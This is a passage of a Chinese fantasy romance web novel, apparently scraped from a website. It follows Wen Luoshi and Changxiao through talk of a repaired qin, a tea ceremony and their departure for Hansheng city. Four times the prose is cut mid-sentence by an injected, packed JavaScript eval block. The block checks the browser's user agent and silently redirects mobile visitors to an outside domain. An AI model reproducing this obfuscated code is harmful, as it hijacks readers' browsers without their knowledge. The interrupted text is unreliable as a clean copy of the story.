;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491157|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她确定了,彦月刚刚纯属胡扯。他一定在帮长晓瞒着什么,而长晓先出楼,也一定是因为有别的事情。 而这件事全部瞒了她。 但是,会复盘的不只有她。长晓也是个极聪明的人,隐约猜到了文落诗是想问,自己为什么会提前出楼。 “落诗,”长晓停下脚步,转过身,神色有些复杂,“有些事情,我不告诉你,是真心不想让你被我拖累。你要是真的知道了,就没有回头路了。” 文落诗点头。她懂,这就是她打死也不问长晓一些事的原因,也是她打死不进融雪城的原因。 她想当个再普通不过的姑娘,老老实实过一辈子,不要与任何风波扯上关系。 她倒不担心他们会做什么不对的事情,因为哪怕她与长晓没有那么熟悉,彦月她太熟了,完全信得过。反过来想,彦月信得过的人,她也不用太设防。所以她和长晓生活在一起,问题不大。 回去这一路的气氛很神奇。两个人都没有再主动说话,但又都觉得应该说些什么,而不是这么沉默地一路向回走。 这个沉默是长晓先打破的。 “你叫他阿月,叫得挺亲切啊。”长晓没看文落诗,而是看向前方。 “……”文落诗硬是用耳朵听出了一股酸味。这好像叫通感。 “他应该跟你说了,我们俩从小就认识了吧?” 长晓微乎其微地撇嘴:“是说了。” “那我这么叫有什么奇怪?” 长晓黑着脸,没回答。 于是又开始沉默了。 直到走了太久,两个人谁也不说话,搞得像吵架了在赌气一样,文落诗觉得这样不太好,决定重新找话题。 “我昨天还没问你,你怎么会认识彦月啊?”问完这句话,她立刻后悔了。真是为了找话题而不过脑子了。万一这个属于“不能说”的范畴,那她等于自己往枪口上撞。 “这个能说的,放心,”长晓看出来文落诗的满脸担心,忍俊不禁,“估计你能猜到,许多年前有一次,我有把极好的琴忽然断弦,我不敢妄自修理,就麻烦了不少朋友去寻高人相助,最终寻到彦月。他帮我修好了琴,后来发现我们聊得来,就认识了。” “哦,我看你们像很熟悉的样子。”文落诗边走边道。她总觉得,自己曾经在哪里听说过长晓断弦这等轶闻。 长晓笑了笑,没回答。 当然了,前些年政务最忙那阵,恨不得低头不见抬头见,能不熟么。 “他跟你说了我俩小时候的事情了?”文落诗随便找了个话题。 “嗯,他小时候文笔太差了,遇到什么需要写的文章,全是你帮他写的。” “……他也天天嘲笑我,说我不理解他杯子里的破茶叶沫子。不是,那就一堆茶叶沫子啊,有什么了不起的。” “人各有所长,不需要强迫自己什么都懂。我们也肯定没见过五道都修炼的人。” “所以,我后来专注写书了。” 两人刚好路过欲晓书局,文落诗见这里依旧大门紧闭,觉得有些不对,凑近一看,一张泛黄的告示贴在大门上,大概意思是说,稀音城的欲晓书局关店了,搬去了与稀音城相邻的寒声城中。 长晓步履从容地走来,眼神扫了一遍告示上的文字,静思一阵,转头看向站在门前发愣的文落诗: “既然如此,过段时间等你伤好得差不多了,我陪你去寒声城好了。” 21. 弦断之音谁人听 冬年冷,而且此时已经几乎到了最冷的时节。 一阵寒风袭来,吹得文落诗的斗篷飞起。长晓把自己的斗篷轻扬起一些,挡在了文落诗身后。 “不用吧?我自己去就行了,不耽误你的事情。”文落诗转头,发现长晓正在拉起斗篷替自己挡风,微微一怔。 “我左右都是出门游历,去哪里都一样。你若不介意,我可以陪你一起去寒声城。” 文落诗一时难以回答。她从来都是打算自己一个人独自旅行的,从来没有考虑过和另一个人一起。有时,她确实能感受到,他们确实思想极为契合。长晓帮住了她不少,她也帮住了长晓不少。但她总觉得,和另一个人一起去踏上接下来的旅途,有些不适应。 而且,长晓这句话说得,特别像自己曾经写过的一个情节。但是,问题在于,在自己的话本里,这个剧情大约发生在男女主人公身上。文落诗觉得,忽然现实之中,有人跟自己说这种话,很是奇怪。 她习惯了被全世界抛弃的感觉,如今身边有了理解和依靠,她反倒不适应。 长晓看出她的犹豫,便道:“算了,不急一时回答,半个月后你再决定就行。” 文落诗点头,半个月,够她仔细考虑了。他们便继续向春庭酒楼的方向走。 “你别告诉我,你在寒声城里也开了家酒楼,也有个这么大的后院。”文落诗打趣道。 “或许吧。”长晓淡淡地笑着,接上她的话。 一般人的回答都是“那可没有”,而“或许吧”这三个字,就等于,还真有。 文落诗内心正在唏嘘,忽然觉得右耳耳垂上一空。 她伸手一摸,自己的耳坠不见了。 “怎么了?”长晓见她停下,也停住脚步。 “我的耳坠好像掉了一只。”文落诗立刻回头去找。方才来欲晓书局之前,她还能感受到耳坠在随着她走路而微微晃动,如今不见了,大抵是掉在这段路上了。 她低下头,俯下身,眼里没放过街上任何一处。 她以前不理解,为什么总有一些话本里的女孩会动不动掉耳坠在地上。要么就是故意掉的,吸引别人注意;要么真是无意掉的,但是总能牵扯出一系列的故事,甚至引发诸多的新桥段。 总而言之,耳坠是个著名的导火索。 她现在是明白了,这玩意是真的会莫名奇妙掉落,有时候真不是故意的。如果不是刚刚觉得耳朵有些空,她根本发现不了。 不过,她既然如今发现了,就定然不会让这个火燃起来。 不就是个耳坠么,她自己去找。就这么一条路,短时间之内,也应该不会有人拾走。 一路沿着刚刚走过的路线回去,文落诗发现,在欲晓书局门口的地上,有一颗蓝色亮晶晶的珠子。 “找到了?”长晓此时赶来,正好看到她眼神盯着地上的那颗珠子。他欲弯腰替她捡,却见面前这个身影先自己一步,弯下腰去,一把捞起这颗耳坠。 长晓看着她这一连串干脆利落的动作,微微震惊。眼前这个姑娘,做事从不拖泥带水,只要有想法,就一定会做到。 文落诗注意到了长晓想帮她捡的动作。她用衣角在耳坠上擦了擦,拂去了上面的灰尘,把头浅浅向右一歪,给自己把耳坠重新戴上。戴好后,她莫名觉得,自己哪怕身边有了依靠,也不是全盘要依靠别人。自己是有足够的底气,也是有足够的能力的。好像长晓出现在生活中的美好,并不是剥夺了她的独立,而是在她独立基础上的一个美好附加。她获得了前所未有的温暖与关心,但这些,和她依旧能独当一面,并不冲突。 她觉得,这或许是一个更好的生活状态。 “谢谢你,”她面露浅笑,身态挺然,“我的耳坠掉了,我自己捡。” 他们继续向前走。太阳缓缓升起,温度也逐渐升高。一时间,没有清晨冷风频频而至的冷了。 一缕光芒闪过“春庭酒楼”大匾额,好像模糊了四个字的轮廓,却令人觉得更加柔和。 文落诗回到自己房间内,看到满地狼藉,一时有些失神。好像所有事情都发生在不久之前,但如今已经走向了无数个预料不到的结局。这些火灰、木茬,甚至远处的碎布、还有各种工具,凌乱地铺张开来,她已经没有落脚之地了。 长晓方才问要不要帮她收拾,她拒绝了。自己的残局可以自己收拾,不需要给别人徒增烦恼。 于是她连番劳累了快一个时辰,先是把地板都清理干净了,再是把所有使用过的工具以及没用完的布料等材料收回原处。接着,她接了一盆水,用布把桌案和椅子上沾满的灰尘统统擦去,最后,再把窗户打开一些,让新鲜空气进来。一连串扫除工作,文落诗做得井井有条。 她自己生活太久了,自己做了无数次家务。她从来不认为会做家务是一种“只能深居内院”的象征,相反,把自己的住所打理干净,更证明了她的能力之强。而且,这与她白天在外闯荡、把重心放在事业上,一点也不冲突。 收拾干净房间后,她关上门窗,盘腿坐于床上,开始给自己运功疗伤。毕竟伤势太重,身体一天不疗伤就会急转直下。好在她修为高,只要连续治疗个十天半月,身体肯定能恢复如初了。 换言之,再有人来挑衅,她也不怕了。 身上更多的是内伤,而脸上则是不折不扣的外伤。文落诗给自己的清理了脸上的伤口,拿起那个熟悉的水晶湖蓝色的瓶子,开始对着铜镜抹药。 看着了脸上的伤痕正在淡去,她有种难以言表的喜悦与满足。 折腾完自己,她去了长晓的主屋。 她去做一件无愧于心的事情——还书。 她知道,再也不会强迫自己,去做明知不愿意的事情了。 她拎着那本紫色封皮的书踏进门,看到那张新制作的焦尾琴在桌案上端庄地放着。长晓正在试音,见文落诗前来,每弹一个音,眼中的笑意就更深了一分。 故意嘴不笑,偏偏眼睛里笑,还笑得这么好看,是怕我看见吗? 文落诗腹诽完,听他弹了一曲《落雪歌》。不得不说,她有点天赋在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491158|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上,第一次做琴,好像整体效果还不错。至少音色是极好的。 见长晓一曲终了,文落诗走上前去,把书放回书架上,转头浅笑盈盈:“我听彦月说,这叫梧桐木,用来做琴,音色会很好。但我还是想问问这琴的主人,感觉怎么样?” 长晓毫不犹豫:“自然极好,音色极为悦耳,弹奏起来也极为畅快。” “就是琴尾烧焦了。我早一步冲进厨房就好了。”文落诗有些惋惜。 “完全无妨,”长晓双手轻抚琴弦,抬头看向文落诗,“焦尾琴,和我之前的所有琴,都不一样。” “你还没谢过我。”文落诗鬼使神差,软绵绵说出一句话,配上眼巴巴的神情。说罢,她都觉得,自己怕是哪根筋坏了。 “多谢,”长晓也笑得柔和,“我昨日去你屋找你时,见你有钱财摊开在桌上,是想给我付你的住店费?千万别给了,你这一张琴,足矣。” 文落诗愕然。她是昨天数钱来着,毕竟她白住着别人的房子,心里实在过意不去。但是这么细节的事情,他是怎么注意到的。还能精准猜到自己想做什么。 不过,他这份感谢,倒是实诚得很,文落诗觉得自己也很需要,因为她并不是坐拥十万贯钱财的大富人。为了日后旅行,在必要的时候省钱,是她长期以来的价值观。 长晓是真的懂她。给了她帮助,保了她体面,还让她心安理得,与其同时,提升了生活质量。 她盯着那张琴,又想想刚刚那曲《落雪歌》,许久,反应过来什么:“你之前路上说的,曾经找彦月修琴的事情,我好像听说过。” 长晓不知她要说什么,洗耳恭听。 文落诗道:“不知道准不准确,但传言是,你在赤缇城中掩帘演奏了一曲《落雪歌》后,最末一个音弹完,那根琴弦便绷断了。只不过后来,人群赞叹之声如汹涌潮水而至,便无人在意你的弦断之音。后来,不少人发现,你一直在寻绝世工匠,想要修复那张琴。无人知晓你最终找了谁,但再后来,你的琴便修好了。” 长晓倒是不知民间有这样的传言。他点头:“确有此事。” “你就是当时找到的彦月吧?”文落诗问道。 “是,”长晓一点也不含糊,“当时我辗转了好几年才找到他。落诗,不得不说,你的头脑真的有些厉害。” 文落诗一笑,继续道:“都说弦断意味着遇到知己,怎么,你当时遇到了?” 她倒是不觉得长晓能跟彦月成为惺惺相惜的知己,毕竟据她了解,两个人无论是性格上,还是处事风格上,都大有不同。之所以这样问,是她单纯好奇而已。 长晓也笑着,摇了摇头:“并未。” 文落诗今日无事,便在长晓的对面坐了下来,用法力给茶壶里的水热了热,斟了一杯茶。她举着茶杯,抬头看向那双极好看的眼:“那后来呢,一直没遇到?” 长晓也抬起头,注视着文落诗的双眼,静静看着她的睫毛忽闪忽闪,拂过两扇清亮的极美的小窗。 “后来,就遇到了。” 22. 舟上观雪送春归 冬年是相当痛苦且漫长的。短短半个月之余,人们再次目睹了好几场漫天飞雪。 而坐在窗边、手执一支笔在稿纸上疾书的那个姑娘,也在大雪渐消之时,完成了她的第二版书稿。 如今一看,第一版的书稿可谓漏洞百出。用文落诗自己的话说,那篇稿里充斥着一种初涉世事、词不达意之感,她自己从头到尾读一遍,哪怕特意挑了夜深人静的时候给自己壮胆,都会脚趾扣地,觉得不忍直视。 果然,多经历事情,是会让人成长的。 文落诗脸上的疤痕早就消得一干二净了,身体也已经恢复如初,只不过有种大病初愈之势。因此,她屋里的暖炉依旧燃着阵阵热气。坐得时间长了,一时半会不起来活动活动,她也会感觉手脚冰凉,需要立刻捧起手炉、或者脱了鞋,把脚伸到大暖炉上去烤。 于是她从窗边起身,像往日那样,搬了个凳子在暖炉旁,把鞋一脱,翘起双脚,让暖融融的白气萦绕在脚面上。她手里捧着自己的书稿,拿着一只用法力造出的不需要沾墨就能写字的笔,边烤脚,边在自己的手稿上批批画画。 全神贯注之际,她忽然听到了敲门声。 “进来就好。”文落诗完全忘了自己此时是何种形象,头也不抬,随口回答。 反正来的也不可能是别人。 长晓推开门,看到的就是一幅文落诗把双脚跷在暖炉上的画面。他一下子愣住,没有再向前走。 直到文落诗觉得身侧一直有冷风吹,才疑惑抬起头,看到长晓一脸一言难尽的样子站在门口,好像在犹豫要不要提醒自己,就这样让人家进屋,看着自己如此姿势,是不是不太合适。 文落诗立马反应过来,把手稿往旁边的地毯上一扔,用最快速度把鞋穿好,对着长晓眨眨眼,意思是,行了,赶紧进来吧,把门关上。 将近一个月相处下来,两人已经能通过一个眼神就明白对方心中所想了。长晓回身把门关上,解下斗篷,走向屋子中央,开始调侃她:“你真是心大,就跟没事人一样,脸不红心不跳的。你知道,一般别的姑娘,要是像你刚刚那样被看到了,得羞成什么样。” 文落诗把椅子搬回原处,一听这话,连个正脸都懒得给他:“你也知道,我从来都不在乎这些。” 说罢,她回身,看到长晓坐在了屋子另一端的茶桌旁,正在烧水。她想也没想,径直走过去,坐在了长晓的对面,与之中间隔着一张茶桌。 文落诗的背后是墙,长晓的背后也是墙,就好像这里是房间中单独分出的一块区域,专门用来饮茶。 茶桌的一旁的墙壁上,挂着一幅长长垂下的古画,上绘冬日中雪松之景,有飞琼拂过,松枝傲然挺立,浓郁的绿枝历经风雪的袭击后,更加鲜艳,仿佛那绿色要从画中流出来似的。 桌案上的茶席是淡淡的绿色,上面有松柏状的暗纹,轻轻盖在桌子中央,两侧则端端正正地下垂,一直延伸到地面。 茶席上摆放的茶盘,并非传统的四方木茶盘,而是石质的,且这石头是不规则的,左边高、右边低,上面有凹陷、下面有凸出。放置在绿色的茶席上,这石头仿佛处于高山雪岭之上,翠玉劲松之下。 茶盘上的一整套茶具也是晶莹剔肉的翠绿色,仿佛冰雪沾染过青松之后,化为水珠,凝结而成。好像这一切,都在与那幅古画遥相呼应。 水烧开了,长晓左手把茶碗之上的盖子取下,在空中画了个半圆,斜搭在茶碗之下的托盘上。他右手拿起茶壶,左手扶盖,把热腾腾的水倒入茶碗中,还不忘让水流绕了个圈,再向上将茶壶缓缓拉起,水流倾泻而下。一时间茶碗中的翠色翻涌着,有些浮上表面,大部分依旧沉在碗底,只是随着水流的波动,稍稍挪动了位置。 再之后,茶水从茶碗中流出,进入了一个稍稍大一些的杯子里。文落诗隐约记得在书中读过,这个杯子叫作公道杯。 她看得有些入迷。长晓这一套姿势,一看就是精通茶道之人才能有的。她从小到大,是真没机会接触到这些。 毕竟,得是那些达官显贵们,才有这闲工夫的,学这些雅兴之事。 有时候她意识到自己在逃避,尽可能不去想长晓的背后是什么,以及他到底是个怎么样的人。好像现在的一切安逸、适然,都来源于一种没有被现实戳破的美好。 她也不知道自己为什么这么想,但她知道,自己的感觉一般是很准确的。 “喝茶啊,看傻了?”长晓对她抛了个眼神,她接收到一份漫不经心的笑意后,才发现,已经有一杯茶出现在茶盘下放、自己面前。 这是个茶杯,专门给自己的,不是之前的茶碗和公道杯。 眼见着长晓敛袖、举杯、轻抿一口茶,她有片刻失神。 长晓看着她的样子,也不打断,就静静地品茶,等着她回过神来。 文落诗在发呆。准确地说,她脑子在运转,面色显得呆滞。待她的魂飘回来,她看见,长晓正用一副欣赏美人的眼神看着她。 “看我干嘛,我有什么好看的。” 她心中一空,撇过头去,不想再看他的眼神,把快凉下来的茶水一饮而尽。 她没看见长晓的表情,但听他语气中泛着一丝笑意。 “说句实话,你哪里都挺好看的。” 文落诗“嘶”了一声,感到脸上一麻,抬头:“你怎么突然有兴致,跟我展示你的沏茶本领了?” 长晓嘴角微扬:“第一,觉得你每天低头写稿太累了,想让你放松一会。第二,觉得你在我面前展示了太多本领了,我自惭形秽,想扳回来一局。” “啊?”文落诗有点懵,“我都干什么了?我不就写了点东西,当着你的面打了坏蛋,喂了猼施,做了好几顿饭,然后折腾半天给你做了张琴,还自己整了点柴火做了个暖炉……”她这么一说完,也忽然意识到,好像自己确实做了不少事情。 “你的生活技能真的太丰富了,好像什么都会,完全能给自己过好日子。”长晓感叹道。 “也不是什么都会啊,”文落诗答道,眼神指向茶壶,“就比如说泡茶,我就只会最基本的,把茶叶扔进去,把茶水倒出来,就不会你那些花里胡哨的。” 长晓笑道:“所以啊,我才故意在你面前露一手。毕竟,我还真不会制琴,也没办法让猼施吃进白萝卜,更不会随手就制个暖炉。” 明白了,敢情是因为这个。文落诗没想到自己这些琐碎的技能会有朝一日被人夸,有些不好意思,于是想了个办法,开口:“你是不是还会别的沏茶方法啊?” 长晓一愣:“怎么,想看?” 文落诗点头:“嗯。” 长晓袖口一摆:“行,之前练的总算还有点用。” 说罢,他手掌拂过茶壶上方,用法力给茶水加了个热,然后拿起茶壶。茶盘上的几个空杯子此刻正横着摆成一排,一阵蓝光闪过,茶杯中各自放置了一些茶叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491159|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “其实没这么简单,不过,那些复杂的繁琐的流程就省了,不然你半天喝不上茶。” 长晓依旧是左手扶盖,右手提壶,把壶嘴对准最左边的杯子上方。就在文落诗以为他要一个一个杯子倒茶的时候,长晓的手忽然动了。 只见那壶嘴以同样倾斜的角度,快速在一排茶杯上方划出三道弧线。 这幅场景,与其说是在沏茶,不如说是用茶水在空中绘制了三座小山。第一座小山矮矮的,茶壶由那双手轻轻向上一提,再向右缓缓一拉,水柱在空中出现,成了一个山尖轻盈、山坡圆润饱满的形状;第二座小山更高一些,那双手将茶壶拉得更高更远,壶嘴流出的水柱也更猛更急,成了一个山尖收拢、山坡稍陡峭的形状;第三座小山的高度再次远超之前,茶壶一扬,水柱疾飞而出,山尖锋利,山坡险峻。 最神奇的是,这三座小山竟然几乎是同时出现的,而他们的山坡是相连的。一切发生得太快,在文落诗还没反应过来的时候,空中的水柱齐刷刷落下,浸入杯中,竟一滴也未溅出。 长晓把茶壶放回桌案一侧时,文落诗特意倾身,凑上前去一看,那一排茶杯里,各自是满满当当的茶汤,每一杯的水量都一模一样,像是一排完美无缺的复制品,规规整整摆在面前,在冬年昏沉的姜黄色暖光下,泛着诱人的水光。 文落诗看着那一排茶杯,有些发愣:“长晓,你有点太厉害了。” 长晓的面色倒是没有怎么显露出高兴,只是嘴角忍不住轻轻上扬:“过奖了。喝茶。” 他遇见文落诗之前,一直觉得自己无所不能,可是遇见文落诗之后,看得她各种新奇的想法、一个个散发着灵气的举动,他忽然觉得,世界上有很多东西,他还不知道。他没有这么强劲的文笔,没有创立这么杂乱却浑然天成的术法,做不到开开心心地跑去厨房给自己做饭,也不可能有这么强的动手能力,把一块马上要烤焦的木头给变成一张琴。他的生活,好像只是在某些方面相当成功。而那些以前没意识到的方面,还远远残缺着。 而面前坐着的这个姑娘,生活自给自足,把自己全方位照顾得很好,有喜欢的事物,有擅长的事物,有足够的能力,有美好的生活态度。 他时常感受到一种融不进她生活的错觉,方法他可有可无,实属多余。 直到她坐在对面,眼巴巴看着自己,表达出想看自己沏茶的时候,长晓才觉得,自己好像也不是完全多余的。 这种感觉让他收获了一种从未体验过的价值感。 就好像自己第一次在大雪中见到她站在车前时,那种直觉是正确的——遇见她,是一件极为幸运和值得的事情。 长晓忽然笑了。 “你笑什么?”文落诗看他半天不动了,像是在思考什么,过了一会儿,脸上又浮现出笑意。 不知为何,她越看长晓,越觉得很放松。以往有人坐在自己面前,她是无法完全卸下戒备的,哪怕是彦月那种从小一起长大的人,她都无法做到绝对的松弛。可是长晓,偏偏就让她从一开始就根本提不起防备了。 她觉得,可能是因为他们两个在有些地方太像了,惺惺相惜,无须多言,能在他身上看到很多自己的影子,所以,她不会对这种熟悉感到排斥。 “没什么,”长晓看向她,“既然茶也喝了,我们是不是该聊聊正事了?” “正事?” “你打算什么动身去寒声?” 23. 舟上观雪送春归 “其实,我倒是觉得,不用这么着急了。”文落诗眼中有了和往常不一样的光芒。 “细说?”长晓放下茶杯。 文落诗坐直了身子,深吸一口气。 “我以前觉得,我们魔的一生,就是在赶路,一个地方接着一个地方,每天有做不完的事情。走在街上,从来没有认真留意过两侧的风景,就这么浑浑噩噩匆匆忙忙过去了。 “但是这段时间在稀音城里,受你启发,我体会了一种全新的生活方式。不下雪的时候就去街上走走,去街边找个小店坐坐,看看人群聚拢再散开,看分分合合,好像才是真正的生活;下雪的时候,我就一个人躲进暖和的屋子里,烧起炉子,专心致志写稿,做我该做的事,赚我该赚的钱。 “哦对了,我刚收到了前段时间的一笔稿费,回头请你吃饭。” “嗯,你说得对,你这叫过生活,体验生活,而不是被生活驱使,成为生活的仆人。”窗口一束光刚好照进来,映在长晓下颌线上,软软绵绵,惬意又夺目。“所以,你不打算走了?” “那倒没有,”文落诗看着他的脸,得过于赏心悦目了,忍不住多看两眼,“我只是觉得,可以把行程慢下来。不必一路赶着、两点一线地从这里去书局。或许比到达书局更重要的,是沿途的风景。” 那束光中是从长晓的身后找过来的,显得他面色有些暗,模糊了他的神情。文落诗看不清楚他的眉眼,却清楚地觉得他在笑。 “你知道,我为何会在这个动荡的时期,依旧出门在外吗?”长晓缓缓开口。 “我只知道你也要写新曲子。”文落诗如实答道。 “没错,”长晓继续道,“但更重要的,是想看看乱世中的风景。毕竟,有时候最动荡的时期,才是最能看出东西的。” 文落诗想,长晓想看的,恐怕不是路上的风景,而是沿路的人。他之前明确跟自己说过,觉得自己和他是一路人,那么他此行的目的,大约是帮助更多像自己这种人,把正在溺水之的他们救起。 虽然不知道他在以什么立场做这件事,但文落诗觉得,这件事是值得的,有意义的。 “长晓,”她轻轻开口,“你之前说,想跟我一起去寒声城。” 他身后那束光凝注,佁然不动,把面色衬得更暗了些。 “嗯,我是说过。” 他甚至没有再多说任何一句。他怕再多说一句,有些东西就彻底失去了。 这束光停滞了很久之后,文落诗才轻声说道:“好,我同意了。” 那一刹那间,好像有什么东西忽然松弛了下来。就连那束光,也从僵滞变得柔和了。 她甚至不知道自己为什么要答应。明明一个人才是最适合她的生活方式,明明自己的事情应该由自己去做,明明她没理由再牵扯别人。 她觉得,似乎有什么长期以来的坚硬的防备,被长晓用这段时间给卸下了。 她开始接受了除去“孤独”和“痛苦”两个词之外的生活。 “好,听你自己的。”长晓在傍晚的光中点头。 这一日的夕阳拉得很长。日暮时分,最后一丝光芒,在窗口的书稿上留恋过后,匆匆离去,至于下寒夜,和纸上不变的诗文。 * 冬年年末之时,飞雪初息,一辆厢体通黑的车缓缓驶向城西的大门处。 一只猼施在前面拉着车,额头处火红的毛发正随风乱飞着,它喘着粗气,却兴致勃勃地向前跑。 “我刚想起来,那天你去找我,遇上彦月,好像是走着去的。”文落诗第一次做长晓的车,路上积雪不平,车上晃晃悠悠,她很少坐车,有些不适应。 而长晓坐在她的对面,一听这话,眼眸垂下去:“那是。” 可不么,当时急得什么也顾不上了,怎么可能还想起来要坐车。 “哦,那我们长晓郎君金尊玉贵的身体,有没有冻着啊?”文落诗看着他垂眸这个样子,心里忿然。这个人怎么可以这么好看?于是,她一时间想逗逗他,反正他也不会怎样。 但长晓忽然抬眸,黑而长的睫毛“唰”地一下扬起。 “这么想知道啊。” 明明是一句无关紧要的挑逗,文落诗却觉得心下一空。 恰巧此时,车厢颠簸,文落诗身体向前一倾,视线清晰之时,那双眼睛已经近在咫尺。 她什么都不敢再问了,也不敢再细想了,立刻仰身坐直回去,看向窗外,转移话题:“下次再来稀音城,不知何年何月了。” 长晓昏沉的眼眸也逐渐清澈开来,像是回到了现实一般,看向那个望着窗边的侧脸:“又在这里伤春悲秋,一看就是写话本写多了,满腹牢骚。” 文落诗一听,转过头来,双目瞪起,一腔愤然涌到嘴边,却发现面对长晓,一句也不舍得说出来。 “真讨厌。” 长晓脸上又泛起一丝熟悉的笑意。刚想再说什么,车却停了下来。他没再开口,而是披上斗篷,挑起车前的帘子,下了车。 文落诗也知道,这是到了城门口处,要下车了。 长晓来到猼施面前,拍了拍他的头,好像在向它告别,又像是在做什么叮嘱。 “我还以为,你要让小猼施一路拉车出城,把咱们送至寒声城呢。”文落诗系好斗篷,走上前去,伸出手,也去抚摸猼施的皮毛。 “寒声城以四面环山而闻名,它久居稀音城,山路太为难它了。” “哦,那你可以让它在空中走,从山间飞过去呀。” 文落诗漫不经心,像是开玩笑地说了这样一句。但内心深处,她清楚地知道,说这句话,是想诈一诈长晓的反应。毕竟,只有身份极高的人,才会有高阶的猼施,可以御风在空中飞行的那种。 可长晓只是缓缓转过身,从容微笑,答道:“它还太小了,不会飞。何况,寒声城的群山,也太苛刻了些。” 像是回答了,也没回答。 寒声城四面的崇山峻岭的确令人头疼。天气好的时候还行,常有人在春暖花开时节从山间飞过,边赏花边赶路。但如今是深冬最冷之时,从山间飞过,不仅要抵御严寒,还要控制好方向和速度,同时要与风对抗,对修为损耗极大。是以,冬年山间,冷清得很。 文落诗知道,玩笑归玩笑,现在需要跟猼施告别了。毕竟相处了这么久,文落诗倒是真对它有不少感情,便走上前去,认真对它说道:“我不在的时候,要好好吃饭。红萝卜要好好吃,白萝卜也要吃。” 猼施很懂事,知道文落诗要离开了,收起了平日里的懒散傲慢劲,乖巧地点了点头,在文落诗身前蹭了蹭。 然后,它转身,拉着空无一人的车厢,沿着原路缓慢离去。 “伤感啊?”长晓见文落诗的眼睛一直不离开猼施的方向,走到她身边来。“这些时日,还真的谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14491160|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,你是第一个让它成功吃下白萝卜的人,帮他度过了挑食这一大关。它估计也很舍不得你。” “没事,如果想见,总会再见的。”文落诗转头,看向长晓,“走吧,趁着现在没下雪。” 两人化作两道光芒,向天际处群山隐现的方向飞去。 长晓修为极高,文落诗修为也比一般人高多了,如今她伤病完全恢复,可跟上长晓的速度,还是略微有些吃力。那道蓝色的光像是发现了这件事,把速度放缓,让那道粉光与自己齐头并进。 可毕竟,两人的修为都非常人所能及,没多久就到了山脚下。 长晓幻化出人形,抬头看了看眼前的巍峨高山,说道:“如今未遇大雪,风也不大,从山间飞行穿过,倒也不是不行。” 文落诗也由一道粉光变幻回来。看着不远处树叉上的冰凌,即便有足够的魔气护体,她还是感到有些愈发寒冷。“我没什么问题,这样说不定一炷香都不到,就能进城了。” 长晓却发现了她的哆嗦,心下感叹,毕竟是个没多大的姑娘。他走上前来,低下头,用比风轻太多的声音询问道:“冷不冷?” 文落诗摇头:“我没事,快走吧,不然等会……” 打断她这句话的,是一阵突如其来的狂风。文落诗立刻把斗篷的帽子戴上。 “怕是晚了,”长晓举起右臂,挡在脸前,“大约很快就会来一场大雪。从山间飞过,怕是不可能了。” “先找个地方躲过这阵风。”文落诗从暖和的斗篷中把手伸出,一把拉过长晓的胳膊,把他拽到山边一处凸起的石头旁。那石头巨大,挡住了不少狂风的袭击。文落诗念了个决,两人的身侧泛起粉色烟雾,快速形成了一个小型结界,将二人与外界隔绝开来。 待长晓反应过来这一切,文落诗已经在搓手取暖了。 “冬年是真不适合生存。就适合窝在房间里。” 长晓看着面前这个姑娘,见她口中嘘着热气,双手搓来搓去,又想到方才那只毫不犹豫伸出斗篷拉住自己的手,一时声音有些哑:“那你为何还选择在此时启程?” “想去看雪啊,”文落诗轻轻扬起头,一副满怀希冀的样子,“冬年冷是冷,可长期窝在房间里,就失去了冬年的意义。我觉得,只有顶着冷风出门的人,才能看到最美的雪景。” 长晓默了片刻,才道:“有一个地方的雪景很好看。那里虽下雪,却不会像这里一样冷彻心扉。若是以后,你肯给我这个机会,我便带你去看。” 许是风太大了,天气太冷了,文落诗没有多大反应。 她本以为,自己听到这话,会骤然间感到一阵寒冷,可如今在狂风之中,她的感觉却变得模糊了。 因为,长晓说的地方,是融雪城。 她确定了。长晓就是来自那里。 可是,融雪城的雪景再美,终究是属于九重天之上。这番雪景中,无法避免地,夹杂着刀光剑影、尔虞我诈、勾心斗角。 文落诗没有正面回答他,而是装作不在意的样子,看向远方,缓缓道:“眼下最重要的,是思考一下,还能不能走山路。” 长晓对她这番回避并不意味,于是,顺着她的话题说下去:“怕是不行了。” 